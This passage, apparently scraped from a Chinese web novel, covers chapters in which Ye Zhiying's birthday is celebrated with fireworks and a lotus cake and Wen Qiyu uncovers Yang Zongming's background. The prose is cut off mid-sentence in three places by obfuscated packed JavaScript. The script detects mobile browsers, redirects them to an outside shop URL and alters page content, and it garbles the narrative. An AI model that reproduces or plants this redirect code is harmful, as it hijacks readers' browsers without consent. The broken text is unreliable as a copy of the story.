那么温其玉呢?他信了吗?她满肚子的委屈,却不知道该如何发泄,只好提个篮子郁闷地走在最前面。 一路上,不断有百姓往他们刚才离开的地方跑,都是去看花神娘娘的,而他们一行八人,却与所有人反向而行。 叶之萤始终没说话,也没回头,只是低着头,向前迈着缓慢的步子,将那些红色的、金色的、粉色的,柔软的花瓣麻木地踩在脚下。 她心里明白不该被那种人影响了心情,但终究还是被影响了。 虽说清者自清,无须解释,如果温其玉相信自己,自己也不需要再去解释什么。 可面对杨宗明说那些话,她甚至连反驳、或者拒不承认自己说过的勇气都没有,因为杨宗明并没有冤枉她,那些话都是她曾经说过的,并且就在大半年前,在跟温其玉吵架的时候,她还亲口说过那些话,现在又要怎么跟温其玉解释自己并没有那个意思?又如何让他相信自己? 在这种情况下,相信杨宗明的话是太容易不过的事了,即使她有十张嘴也是解释不清的。 事情分析到这里,似乎没必要再解释什么了。 但牵扯到感情的事又哪有这么简单?她爱温其玉,所以在意他的看法,想要努力维护自己在他心目中的形象。于是明知没必要解释,却又忍不住想去解释:什么都不说,难道要任由猜疑的种子在他心里生根吗? 从事发到现在,温其玉没有再跟她说过一句话,若不是一直有木轮碾地的声音隐约从身后传来,提醒着她他还在,她甚至都要怀疑他是不是已经偷偷走掉了。 叶之萤走得并不快,还刻意为他放缓了脚步,只要他想,很容易就能跟上来,可是那木轮的声音却分明越来越远…… 看来,他应该是信了吧! 温其玉冷淡的态度让她更加心烦意乱,实在不能再这样一言不发地忍下去了。可是该怎么办啊?要怎么解释他才会相信自己?她停下脚步仰天长叹,又一屁股坐在了路边的地上,郁闷地把头埋进膝盖里。 木轮的声音也停下了! 她紧张地屏住了呼吸,等了好久好久,久到叶之萤血液里所有的氧气都即将消耗殆尽,久到已经准备放弃希望的时候,那轮子撵地的声音又出人意料地响了起来,它在向她靠近,越来越近……最终停在了她的耳边。 叶之萤紧张得两只手都攥成了拳,提着一颗心等他说话,一秒、两秒、十秒、二十秒…… 96. 火树银花 “在想方才的事?”终于听到了他的声音。 叶之萤仔细分析了一下,确定他的声音还是跟往常一样温柔,并没有一丝厌烦之意。笼罩在她心上浓浓的焦虑这才驱散了大半。 她抬起头,正对上一双温柔的眼眸。这下,心中的大石彻底落地,心情也在顷刻间舒爽了。 “我只是有点心烦,温其玉,你知道我为什么而烦吗?” “知道。”他温柔地点头。 “你知道?”她有些惊讶,两只手顺势抓住了轮椅的扶手,坦诚道,“关于杨宗明的那些话,我想跟你解释,只是有些事情太乱了,我都不知道该从哪里讲起。可如果什么都不说,我又怕你会多心,怕你会信他的话,怕会……会影响我们之间的关系。” 温其玉的声音依旧温柔:“你什么都不必说,我对你的看法,不会因旁人的话而改变。叶之萤,我信你,你也要信我啊!” 你也要信我啊!这话就像绵长梦境里听到的一声清脆钟响,让叶之萤大梦方醒。是啊,明明温其玉已经多次用实际行动向她表明了他有多在意她、有多信任她,可她似乎总是把他的感情想得那么不堪一击,总是在自寻烦恼。 叶之萤,你真的很愚蠢! “我……”她低下头,有些惭愧地窘笑道,“可能是因为从来没有人这样无条件的对我好,所以乍一下拥有了这么好的一个人,还不适应吧。总觉得你好得太不真实,像做梦一样。而我一向六亲缘浅,你好像不该是我拥有的……” 一片乌云挡住了原本皎白的圆月,月光下温其玉那温柔的笑容也暗了下去。 “你怎么不说话了?”叶之萤心想他该不会是被自己的话搞伤感了吧?正在想要说点什么才能让气氛重新轻松起来,他却先一步开口了。 “真没想到,你也会患得患失。”他似乎对这一点非常意外。 叶之萤笑道:“我这一生,看似好像拥有过许多令人羡慕的东西,但细想一下,全都是过眼云烟,没一个能长久。呵,不过好在老天爷还算手下留情,至少留了一张还看得过去的脸给我,对别人能赏心悦目,对自己也能满足虚荣!” 眼前的人此时艰难抬起了右手,叶之萤赶紧把自己的脸主动凑到了他手边。 他伸出食指,并不太费力地轻点了一下她小巧的鼻尖,笑着提醒她:“叶姑娘,即便那些都是真的,也是上辈子的事了!如今时过境迁,就不要再被那已不作数的命运所束缚了,可好?” “时过境迁?”他总是能一两句话就让她豁然开朗,“嗯,说得对,遇到温少爷,就是我叶之萤时来运转的开始!” 温其玉很满意叶之萤对他的夸奖,得意地笑着点头:“这就对了!” “温公子既然什么都知道,那……”她突然话锋一转,脸色突变,咬牙切齿地质问他,“刚刚在后面磨蹭什么呀?” 害老娘胡思乱想瞎焦虑,故意耍我是吧! 他一秒收起笑容,可怜巴巴地看着她:“叶姑娘走得太快,我想追上来却有心无力……” “胡说,我……”就怕某人追不上,刚才故意走得很慢,“别狡辩了,要想追我,你办法多得是,不过是不想追罢了!” 说完,她双臂环抱在胸前,身子也向后靠,和他再一次拉开了距离。 温其玉看她真生气了,也换上了认真的表情:“不与你玩笑了,方才我是交代阿力去处理一些紧急事宜,所以才没追上来的。” 她这才发现人群中确实已经没了阿力的踪影。荣祥依旧在他身后,见她和温其玉和好,趁温其玉不注意瞪了她一眼。 叶之萤没有理他,因为对她来说,只要温其玉一人信她,旁人怎样想她,她都不在意。 至于温其玉交代阿力去做的事,这么着急,不难猜测肯定是关于杨宗明的,归根结底还是为她,她又有什么理由责怪他没有在第一时间追上自己呢? “你打算在这里坐到何时?”看她不说话,他又忍不住问她。 “呃……不坐了,走吧。”她扶着他的轮椅起身,又拍了拍身后的灰尘,从不情愿的荣祥手中抢过了轮椅。 “今日真是你的生辰?”他终于问出了心中始终好奇之事。 “嗯。”其实叶之萤真正的生日是阳历的九月二十七,只不过出生那天农历恰好是中秋节。但既然这里没有阳历一说,那她的生日自然就是中秋了。只是她很奇怪,杨宗明怎么会知道得这么清楚? “为何不告诉我?”他的语气听起来有些委屈。 “我怕你为了我的生日大费周章嘛!最近发生了不少事,你的身体刚刚才有了点好转,我不想让你再为我劳心劳力了!只要你愿意在中秋这天陪我出来走走,对我来说,就已经是非常幸福的事了!” “所以你那日才一定要我答应中秋陪你出来?我却差点拒绝了你。”温其玉低头叹气。 叶之萤又将他垂下的头使劲托了起来:“你最后不是没拒绝嘛!温其玉,在毫不知情、没有丝毫道德绑架的情况下,你心甘情愿委屈自己成全我,这怎么不是对我的真爱呢?” “这……”他忙躲开她放在他颊上的手,憋得耳根都红了,也只憋出来三个字,“别乱说!” “好好好,是我乱说,我自以为是,我自作多情,我自恋,你才不爱我,一点都不爱,行了吧?”她才不跟死鸭子嘴硬的人计较。 “你……”他彻底被她“调戏”得词穷理尽了。 就在叶之萤以为温其玉肯定不会再主动跟她说话的时候,他居然搞了个出其不意:“在你的家乡,生辰可有什么特别的讲究?” 她甚至没反应过来先“嗯?”了一声,然后才回答他:“在我的家乡,过生日都要吃生日蛋糕。生日蛋糕是一种用面粉和鸡蛋烤出来的糕点,上面铺满新鲜的水果和奶油。过生日时,要在上面插上点燃的蜡烛,大家关上灯,拉起窗帘,在黑暗的氛围里齐唱生日快乐歌,唱完后,寿星对着蜡烛许三个愿望,再把蜡烛吹灭,这样,愿望就可以实现了。最后,大家把蛋糕分着吃掉,一起沾一沾寿星的喜气。” “那你可有想要的生辰礼?”他果然惦记着要送她礼物。 “你已经送我了呀!” “我何时送你了?”他一头雾水。 “就是今晚啊,你跟我一起出来过中秋,不就是把你自己送给我了吗?”她整个上半身都压在轮椅背上,和他头挨头,仗着生日大胆地调戏他。 突然,轮椅被她压得往后翻了过去,吓得她赶紧把压在椅背的上半身抬起来,一只手稳住轮椅,另一只手紧紧扣住温其玉的身体。 “你没事吧?”她趴到前面检查温其玉的情况,正好和他对视,然后忍不住被自己的滑稽逗乐了。果然,人不能太嚣张,以免翻车。没错,就是字面意思的翻车…… 温其玉无奈叹了口气,道:“还请叶姑娘手下留情,不要让温某本就羸弱的身子再度雪上加霜。” 叶之萤推着他边走边说:“即便刚才真倒了,也是我垫在底下给你当肉垫,散架的是我,你不用担心!” “那我便放心了!” “你……”她扬起手掌,就要朝他肩膀拍。 “待会儿回去,让厨房为你煮碗长寿面!” 手在离他的肩头还有十公分左右的地方停住了,又觉得不解气,于是咬着牙、对着空气使劲打了一下。 “为何耳边有风?”他转过头来,一脸困惑。 “啊?什么风?”她同样一脸困惑,假装什么也没发生。 温其玉的目光移到她正推着轮椅的右手上,然后嘴角一扬,道:“掌风,天资不错。” 说完,便回过头去,一本正经地靠在椅背上坐好,仿佛刚刚逗她的人并不是自己。 “既然天资不错,就……再尝尝它的威力吧!”她笑着用两只手一起挠他的脖子,他护得了左边护不了右边,缩起脖子连连求饶。 他们逆着人流,一路行至人迹罕至处。整条寂静的街上,始终飘扬着叶之萤肆意的笑声和说话声,偶尔也穿插着几下温其玉克制的笑声。他兴致极佳地陪着她闹,陪着她疯,陪着她笑。恍惚间,叶之萤仿佛认识了另一个他,一个活泼、主动、幽默的他。 若是他不曾经历这些事情,他原本就是这样的吧。 “温其玉,不公平!” “何事不公平?” “你都知道我生日了,我还不知道你的呢,是不是不公平?” “腊月二十。”他说得随意,仿佛说的是别人的事情,而不是自己的。 腊月?叶之萤暗暗思忖,那不就是她刚来的时候吗?记得那会儿,她正和他水火不容,他故意刁难她,而她就故意用最难听的话扎他的心…… 路上已见不到行人的身影,闹市的欢闹声也在他们耳旁消失殆尽。 出门时那被夕阳染得通红的天空如今已完全被墨色覆盖,只有点点繁星和远处山顶上那终年不化的皑皑积雪点缀着漆黑的夜空。 荣祥他们一行人都自觉地没有跟上来。叶之萤和温其玉仿佛进入了一个神秘空间,一个只属于她和他的空间。 叶之萤一点儿也不为没看到花神娘娘而遗憾。她只想时间再慢一点,让她和温其玉今夜的独处时光再久一点。 正想着,突然,前方一大片金光闪现,把整条街点得通亮,还没等她反应过来,眼前便绽开了朵朵金花,在黑夜的映衬下格外璀璨,仿佛繁星爆炸般绚丽夺目,接连不断,让人应接不暇。 “哇,你看你看,那是什么?”她停下脚步,激动地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991719|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛拍前面人的肩膀。 温其玉道:“那是打铁花,见过吗?” “听说过,没见过,好漂亮,好壮观!” 在他们面前不远处,长出了一棵千年火树,枝条向四面八方肆意蔓延,繁茂的火花在那纷繁交错的枝条上一朵接一朵、噼里啪啦地炸开着,火光四溅,壮观至极! 阿力不知道又从哪里冒出来了,正趴在温其玉耳边说着什么,她顾不得理他,只顾着看眼前这棵壮观的火树。 很快,火树又幻化成一条火龙,它贴地而行,身姿宛转,口喷金光,通体火光艳艳,鳞片熠熠生辉,神圣得仿佛神灵的化身。 不一会儿,火龙没有了,眼前又出现了一条巨大的金色瀑布。花火从高处倾泻而下,与地面相撞,地面霎时溅起一片璀璨的繁星。 正所谓“铁树银花落,万点星辰开”,实在太美了! 受文化水平限制的叶之萤说不出什么惊世骇俗的话来,更没能力去引用绝世名篇来形容眼前的惊艳,只能随着那火花地不断盛放,用一声声“哇”来表达它带给自己的震惊。 表演结束后,一切重归寂静,叶之萤却仍然站在原地,久久不能平复心情。 “本来没看到花神娘娘还有点遗憾呢,没想到竟然在这里遇到了更惊艳的场面!现在想想,要不是刚才提前走了,还看不到这么美的景呢,我们的运气实在太好了!”她开心地跳到温其玉身前,双手撑着轮椅两侧的扶手,激动得眉飞色舞。 “是啊,我们运气真不错。”温其玉也跟着她一起笑,只是他的笑一看便知与她不同,那双凤眼里虽春风荡漾,饱含宠爱,却无半分忽见奇景的惊喜之色。 “你好像一点也不吃惊?”叶之萤突然察觉出不对劲儿。 这么一条无人的背街小巷,出现打铁花的盛景,本来就是一件很奇怪的事情,因为这样的技艺就是为人表演的,那匠人又为何要在没有人的地方打铁花呢? “这该不会是……是你安排的?”她又惊又喜。 “是。”他温柔地望着她的眼睛,右手抚上她的脸颊。 叶之萤被他这突如其来的主动吓了一跳,动都不敢动一下,生怕连呼吸都会惊扰到这只手。 四周一片寂静,身边那几名护卫也刻意离得老远,不敢打扰到二人,阿力今晚总是神出鬼没,又不知道跑哪去了。只有小路两旁每家栅栏上装饰的各色鲜花时不时顽皮地抖动几下身体,向天上的星辰展示着自己的盛装。 “叶姑娘,愿这璀璨火光为你驱散日后所有阴暗和妖邪,从此你的生活便是一片光明坦途。无病无惧亦无忧,日日春光如今日。生辰快乐!” 他本就迷人的声音弥漫在纯净无杂的空气中,听起来格外清澈和悠远,让人更加陶醉。 叶之萤忍不住想去握他的手,他却提前预判了她的意图,先一步把手从她的脸颊上收了回去。她只好随便摸了下鼻子,又假装挠了挠脸蛋,以此掩饰自己的尴尬,而后失望地把手放下。 “对了,你是什么时候准备的这个?”她实在想不通,他明明半个时辰前才得知今日是自己生日,怎么来得及准备这些。 他解释道:“原本只是想中秋夜给你个惊喜,却没想到今日亦是你的生辰,也算歪打正着了。” 原来是这样。 “谢谢你!我太喜欢了!”她一把抱住了他。 虽然温其玉之前严肃制止过她不准再随便和他肢体接触,但今天既是她的生日,叶之萤赌定他不会扫她的兴。 果然,正如她所料。 她也很自觉,只抱了一下就松开了。温其玉对她动不动就抱他一下这般放肆的举动显然已经习惯了,再不像从前那样惊慌失措。 “有进步!”她打趣道。 轮椅上的人有些似懂非懂,而后反应过来她的意思,对于她得了便宜还卖乖的行为,无奈地摇了摇头。 “想跑步吗?”叶之萤心情大好,笑着问他。 “好啊!” “坐好,我要启动啦!” 她推起他身下的轮椅,在这条幽静的路上疾速奔跑起来。 “够快吗?”一跑起来,连说话的声音都变大了。 “不够!”温其玉也比平日里兴奋不少。 “好!加速!”她又加快了脚步。 温其玉闭起双眼,任由轻风迎面扑来。 他的衣角被风轻轻扬起,衣服的下摆由于惯性贴在了骨瘦嶙峋的双腿上,勾勒出有些歪斜的轮廓。它们并不好看,甚至有些刺眼,但那又如何? 今夜,叶之萤很快乐,那是一种不夹杂任何其他情绪的、单纯的快乐。曾经令她害怕、让她退缩的困难如今都已不是问题,如果可以,她想推着他,在往后的路上,一直走下去…… 97. 惊喜不断 回温宅后,叶之萤先回房洗了澡,换上睡衣,又钻到温其玉房里找他。 阿力端着长寿面紧跟着她后面也进来了。 温其玉正倚着床坐着,长发随意散在身后,用一根布带松松地扎着。 “今天坐太久了,我扶你躺下?” “我不累。”温其玉拒绝了她的提议,看了眼桌上的碗,道,“快把面吃了。” 她听话地夹起面条。嗬!好长一根!长到她站起来把筷子举到最高都不能把它完全夹出来。 “你这是想我活上千岁吗?真是有心了!”她一边笑着打趣,一边端着碗,走到温其玉床边坐下。 “为何不吃?”温其玉见她过来,诧异地问她。 她挑起那根面条送到他嘴边:“与其独活一千岁,不如分你一半,咱俩一起活五百岁。” 谁知温其玉竟连想也没想就拒绝了她。 叶之萤脸上的笑和端着碗的手霎时一起僵住。 温其玉见她又想歪了,赶紧解释:“这里的习俗,长寿面须一口气吃完,中途不可再咬断放回碗中。若是你我二人同食,岂不是坏了习俗?还是你吃吧!” “这样啊!”害,自己这个话听一半就急着解读的坏毛病,真得好好改一改了。 “那……那我们就把这个荷包蛋分了吧,反正都在一个碗里。一起分食荷包蛋,生活美满又团圆!”编完这两句粗糙的吉祥话,她自己都被逗笑了。 正笑着,阿力就进来了,手中端着一个很大的荷花盘,盘中放着一朵粉色的荷花,足足有盘子那么大。她正想问他为何端一朵荷花来,走近一看,才发现那不是真的荷花,而是做成荷花形状的糕点。 “哇!这做得也太传神了!我还以为是真的呢!”她惊喜地打量着那朵荷花,不禁啧啧称赞。 “少爷特意吩咐厨房为叶小姐做的,所谓‘清水出芙蓉,天然去雕饰’,祝叶小姐生辰快乐!”阿力边说,边从袖中取出一支红烛,插在了荷花的中间。 温其玉竟然让人模仿了生日蛋糕的做法。叶之萤的眼前此时已是模糊一片。 她转身问他:“这又是什么时候安排的?” “就方才看打铁花的时候。”阿力替他回答了。 她再也忍不住喷涌而出的眼泪,哭得稀里哗啦。 阿力将温其玉抱到轮椅上,又推他来到桌前。 “过来坐!”他用手帕为她拭去眼泪,“之前你每每在我面前难过落泪,我总是为自己什么也做不了而自责,如今终于能亲手帮你擦掉眼泪,我却宁愿你不要哭。” “温其玉,我真的不该告诉你我的生日,要是我早告诉你了,你岂不是要去摘天上的星星给我?我到底走了什么运,才会遇见这么好的你!” “很难讲你和我到底是谁的运气更好。”说完,他便笑了起来,霎时间眼波流转,眼下的卧蚕也熠熠生辉。 这边,阿力已经用火折子点燃了蜡烛,吹灭了房里其他烛火,屋里变得更加昏暗,只有面前正在跳动的莹莹红烛将那荷花映得更加娇艳。 与此同时,忽明忽暗之间,旁边之人的面庞也被映得更加富有韵味,时间的光影在这张脸上写下了迷人的故事,吸引着叶之萤想要翻开故事一探究竟。他整个人坐在那里,仿佛一坛陈年的酒,虽少了几分清冽的甘香,却因为岁月的沉淀多了几分馥郁而醇厚的香气,让并未饮酒的叶之萤竟也有了微醺之意。 昏暗的房间、喜庆的红烛、娇艳的荷花、温柔的眼波,孤男寡女,甚至让她产生了一种错觉,一种洞房花烛夜的错觉…… “叶小姐,快许愿吧!”阿力的催促将她从梦境拉回现实。 她双手交握,置于额前,向上天许了这二十八年以来最诚心的三个愿望: “第一个愿望,祝我快点发财!” 阿力“噗嗤”一声笑了出来,调侃她道:“你都快钻钱眼儿里了!” 她朝阿力翻了个白眼:“那当然了,‘钱虽然不是万能的,但没有钱却是万万不能的’,这话听过吗?” “嗯,有道理!”阿力似乎被她说服了,问道,“那第二个愿望呢?” “第二个愿望,祝温其玉早日……哦不……”愿许了一半,她突然意识到早日康复这样的话是不是不够严谨,早日是什么时候呢?万一老天爷以为的早日和她以为的早日时间不一样怎么办?毕竟“天上一天,地下一年”啊,于是迅速改口,特意带上了具体的时间期限,“祝温其玉一年之内完全康复。” 平时许愿,不过是生日流程中必要的一环,不会有多少人真心指望这样许个愿就能实现。可今天的愿望,叶之萤却许得格外认真,仿佛上天真的能听见她的心声,真的会帮她实现愿望。 说完,她冲身边的人咧嘴一笑。 “第三个愿望,嗯……这个要在心里悄悄说,不能让你听到。”她故作神秘,向温其玉卖了个关子。 希望叶之萤和温其玉这辈子、下辈子、下下辈子、永生永世,哪怕地球毁灭、宇宙崩塌,都不分开! 她在心里虔诚地祷告。而后,一口气吹灭了蜡烛。 屋里顿时黑透了,趁着阿力取火折子点灯的间隙,叶之萤迅速做了那件蓄谋已久的“坏事”。 很快,屋里就被点上了昏暗的光。温其玉的脸颊被烛光映得通红,叶之萤则坐在他旁边一脸得意地看着他笑。 “少爷,你很热吗?”阿力看着温其玉泛红的脸颊很是不解。 “嗯,是有一点。”温其玉表情严肃,却不像平时那样自然,有种强装的、生硬的严肃。 阿力瞄了眼屋里那些被阵阵凉风吹得不停摆动的烛火,又看了眼自家少爷身上单薄的月白色睡衣,以及抓着衣角的手,表情更奇怪了。 叶之萤偷偷抿了抿嘴唇,一阵清甜随即在口中化开,她清了清嗓子,得意道:“该分‘蛋糕’了!” 看着那朵完美的“荷花”,她犹豫再三,才终于下手掰了三片花瓣下来。 递给阿力时,她悄悄瞥了眼门口。阿力比荣祥有眼色得多,立马明白了她的意图。 “少爷,我突然想起来荣祥还找我有事,我先去找一下他,待会就过来。” “荣祥找你?”温其玉明显不信。 “是啊,我……我先去一下。”阿力说着,就急急忙忙退出去了。 “让他去吧!”叶之萤边说,边拿了一片花瓣。 这饼是千层酥的,做成了荷花的样子,每瓣花瓣都是渐变的浅粉色,里面还夹着绿豆做的馅儿,绿豆沙中掺着些玫红色的薄片,是玫瑰的花瓣。 她拿起来咬了一口,绿豆的清新和玫瑰的香甜夹杂着若隐若现的奶香味儿,唇齿留香! “这饼是你特意交代厨房做的吧?” “是……是。”他好像还没从刚才的意外中缓过神来,表情有些不自然。 “你也吃一口!”她换了另一片花瓣,递到他嘴边喂他,他虽然有情绪,但还是配合地咬了一口。 直到一口咽下后,才开口道:“我……你……” 他说话一向不疾不徐,眼下却难得慌乱起来:“我身有残障,阻你不得,更不想扫了你生辰之雅兴,但你我之间尚有约定,你……别忘了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991720|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这语气说生气也是真生气,但更多的——如果叶之萤没听错的话——是委屈! 叶之萤自知理亏,本着伸手不打笑人脸的道理,主动认错:“我知道我知道,以后绝对不敢了,我保证!” 温其玉被她搞得是气也不是,不气也不是。 “来,再吃一口!”她又给他喂了一口,“这个荷花酥饼的寓意真是极好。嗯……饼如满月团圆至,花似仙娥送福来。” 叶之萤即兴作了两句诗,为了转移话题也是拼了。 听她说完,温其玉的情绪果然从刚才的不悦中抽离了出来,真不枉她打了这么久的腹稿! “是不是还不错?我可是从看到这荷花酥的第一眼就开始在心里作诗了,就想给你个惊喜。不过,也要这酥饼本身能让我有感而发,我才能想得出来这两句诗来。”自夸的同时,她还不忘带上他送的荷花酥一起夸。 “孺子可教也。”温其玉道。 “勉勉强强,勉勉强强。”叶之萤嘴上谦虚着,脸上已是得意洋洋,又将一块酥饼放入口中。 “邺国还有一个习俗,婴童凡满周岁者,生辰当日都要由亲人在自家院中为其种下一颗榆树,‘榆’与‘余’同音,寓意往后此生都能吉祥富足。待会儿荣祥取回树苗,你就亲手将其种在院中吧。” 温其玉边说,边抬手帮叶之萤擦掉了嘴角沾的饼皮渣。他的右手功能恢复得很好,已经能做不少事了。 “小婴儿才要种的,我还要种吗?” “你来这里尚不足一年,恰好周岁,自然要种。”他说得一本正经,竟让叶之萤一时分不出他是认真的还是在调侃她。 “只是……”他看了眼自己的右手,微微蜷缩的手指跟着轻颤了几下,接着道,“本该是我为你种的,现如今只能让阿力帮你了。” 她一摆手,自信放出豪言:“不用你们帮忙,我自己种。正所谓‘自己动手,丰衣足食’!” 结果…… “哎呀,我实在挖不动了!这都挖半天了,洞怎么一点儿没大呢?”叶之萤站在院中的人工湖边,一手撑着铁锹,一手扶着腰,看着眼前那个怎么挖都不变大的坑,气喘吁吁地抱怨。 “还是我来吧!”阿力从她手中夺过铁锹,三下两下就挖了一个一米多深的坑出来。 “你怎么挖这么快?”她依旧在喘气,围着那个坑转着看了一圈,发现阿力不仅挖得快,还把坑壁挖得很整齐,洞口也挖得很圆。 阿力是处女座,鉴定完毕。 相比较挖坑,种树就容易多了,只需要把树苗垂直放进坑里,叶之萤用手扶着树干,阿力再把挖出的土回填进坑里,再浇点水,就大功告成了。 她用手拍了拍睡衣上的土,结果土没拍掉,反倒把手上的泥又抹上去了:“哎呀,早知道要种树,刚才就不洗澡换衣服了!” 说完,又揉了揉有些困乏的双眼。 温其玉看到她的样子,忍不住笑了起来。 “你还笑,大晚上出来挖坑种树,不都是你想出来的馊主意?”她气鼓鼓地抱怨。 他笑得更厉害了。阿力也跟着一起笑。 “有什么好笑的?”她觉得莫名其妙,朝他俩轮番翻了个白眼。 温其玉一本正经地问身边人:“阿力,这院里何时多了只熊猫?” 阿力憋笑道:“少爷,我也不知啊!” “啊?”叶之萤愣了一下,才反应过来是怎么回事,也跟着笑了起来。 笑声穿透了层层树影,飘荡在初秋的夜空,秋风拂过她的身体,明明带着微微的凉意,却衬得她的心愈发滚烫。 98. 同类 第二日一早,阿力就来敲叶之萤的房门传话,说温其玉找她。 “你找我?”叶之萤推门而入,记忆中,温其玉好像没怎么主动找过她。 “嗯,坐吧。”他看了眼床边的木凳,示意她坐在那里。 这显然是特意为她准备的凳子,离床半米左右,和他保持着礼貌而安全的距离。 以往叶之萤都是直接坐床边的,但今天,他却用这种方式拒绝她靠近他的床。 她虽不情愿,但还是走到木凳旁顺从了他的安排。 这就是自己昨日放肆的下场! “有什么事吗?”她撇了撇嘴,开口问他。 “是关于杨宗明的事。” 她瞬间睁大了眼睛,而后把身下的凳子挪到了他面前:“你说!” 温其玉眼看自己刻意保持的安全红线顷刻间就被叶之萤无视,实在是无奈,在试着张了几次口之后,他决定放弃挣扎,直接进入了今日的主题:“杨宗明其实并不是杨家家主杨运的亲生儿子,而是他的养子。” “啊?”叶之萤此时想起了第一次与杨宗明见面时他自报家门的场面,顿时觉得更可笑了。 “此人是五年前才去到杨家的,他爹杨运对外宣称杨宗明是他与原配妻子所生之子,只因曾被大师提醒,此子上一世尚有尘缘未了,需在寺庙诵经礼佛二十年,方可了去前世尘缘,因此便在他刚满三岁时送他去寺庙出家,直至二十三岁才还了俗重回杨家。但实际是,这个杨运虽然极有生意头脑,但却因身体原因,用尽一切办法依然无法拥有子嗣。除了原配妻子,他还陆续纳了五个妾室,但均无所出。” “也就是说,他有六个老婆?”叶之萤瞠目结舌。 温其玉倒是见怪不怪,继续道:“这些年他年事渐高,担心自己辛劳半生打下的家业无人继承,便在五年前收养了一名男子作为养子,将其过入杨家宗族,改名‘杨宗明’。” “那个杨运既然那么厉害,想认他当爹的估计必定不少,为什么选中杨宗明呢?”她倒是想知道这个杨宗明有什么过人之处。 “五年前杨运因误食不洁鱼脍而致使染上重疾,当时请了不少名医都束手无策,更有直言者甚至建议杨夫人为其准备后事,却被杨宗明治好了。” 听他这么说,叶之萤猜测这杨运应该是感染了寄生虫,这在古代也算是不治之症了:“那杨宗明是怎么治好杨运的?” “据说是给杨运吃了一些彩色的药丸,却无人知是何物。” 彩色药丸?这事果然越来越有趣了。 “杨运感激他的救命之恩,又见他头脑聪颖,是块做生意的材料,便认他为子。前几年,他一直跟在其父身边,学习料理家中生意,去年开始,其父将黎城的茶叶生意交给他独立运作,他便是那时来的黎城。此乃他接手杨家生意的第一步,想必再过渡三两年,就要全权接手杨家的生意了。” “原来是这样!”温其玉的这番话,佐证了她心中对杨宗明身份的一个大胆猜想。 “可是有了些想法?”他敏锐察觉到了她情绪的变化。 “我猜,他的那些彩色药丸应该是抗生素。” “抗生素?”他对这个名字很是好奇,“那是何物?” “是我们那里治疗细菌感染的常用药。”她简单解释道。 “所以,他与你是从同一地方而来。”对此温其玉并不感到意外,毕竟在杨宗明之前,他已经先认识了一个叶之萤,这样的事情自然不会再令他吃惊。况且,在调查到这些结果时,他就已经想到了这个可能性。 “是!我从没给这里的任何人提过我的生日,那么知道我生日的人,一定不是这里的人。另外,还有一个关键点,我们那里的人大多使用另一套历法,在那套历法中,我的生日其实是九月二十七号,这也是我对外公布的生日,而他不仅知道我的生日,还知道我生日农历对应的是中秋节,说明他特意了解过我。再从他对我阴阳怪气的态度来看,说明我们俩曾经有过节。”叶之萤条理清晰地分析起来。 “那你可有想到,谁和你有过节?” 叶之萤不禁笑起来:“那可太多了!” 温其玉一时无语。 “不过……” “不过什么?” “跟我有过节的应该都是女的呀,毕竟和我抢资源的都是女演员,跟男演员嘛,顶多就是和个别男演员拍戏的时候互相看不顺眼而已,也到不了有仇的程度啊!”她越想越迷惑了。 “你刚说他姓什么?”她突然想起他刚刚好像提了杨宗明原本的姓。 “陈。” 姓陈的男人,能是谁呢?叶之萤想破了脑袋也想不到自己和哪个姓陈的演员有过矛盾。 “若是你身边之人,你应该认得他的长相吧?”温其玉的话一下子点醒了她。 “你说得对!”她双手一拍,激动道,“他肯定不是我身边的人,现在想来,第一次见他时,我其实是觉得有些面熟的,说明我曾经可能短暂地见过这张脸,也许是在某个地方一闪而过,所以并没有留下太深的印象。” 叶之萤迅速在心里把曾经合作过的不知名小演员,还有剧组的工作人员都挨个回忆了一遍,虽然也有过和人发生矛盾的事情,但都是别人挑衅在先,她从没主动惹过事,实在想不到她在剧组得罪过谁。 “我在想,或许他的目的并不是想要伤害你。”温其玉的这个结论让她更加迷惑了。 “为什么会这么说?” 眼前的人分析道:“原本他在暗你在明,若是他真要伤你,大可不必主动暴露自己,以他的能耐,想在暗地里对谁做些手脚简直轻而易举,但他却什么也没有对你做,反而先在你面前暴露了身份,似乎有些沉不住气了。但他既能打理好杨家的生意,理应不是个浮躁之人,所以我才说,他恐怕不是想伤害你。” 叶之萤也觉得他说得很有道理,但这无疑让她更乱了:“不是喜欢我,也不是想伤害我,那他接近我到底想干嘛?” 温其玉看她想得痛苦,便安慰她道:“不管他为何而来,你都先不要自乱阵脚,且看看他想做什么,我们见招拆招。我已经派人对温宅加强守卫,日后你出门,都会有人在暗地里保护你的安全,放心,不会有事的!” “嗯!我相信你!”温其玉总是能把她保护得很好,也总是能说到做到,在这一点上叶之萤对他从不怀疑。 后面几日,叶之萤没有出门,也没有人上门来找她,气氛平静得好像从没事发生过一样,她逐渐忘记了杨宗明这个人。 十日后,叶之萤继续去沈氏布庄上班,照例忙了一上午,刚吃完午饭,店里就来了一位体态丰腴、珠光宝气的少妇,一进店就东看西看,摸摸这款料子,又看看那件样衣,还时不时询问身边的小丫鬟哪件更衬自己。 她一眼便认出,这位少妇就是几个月前曾来过店里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 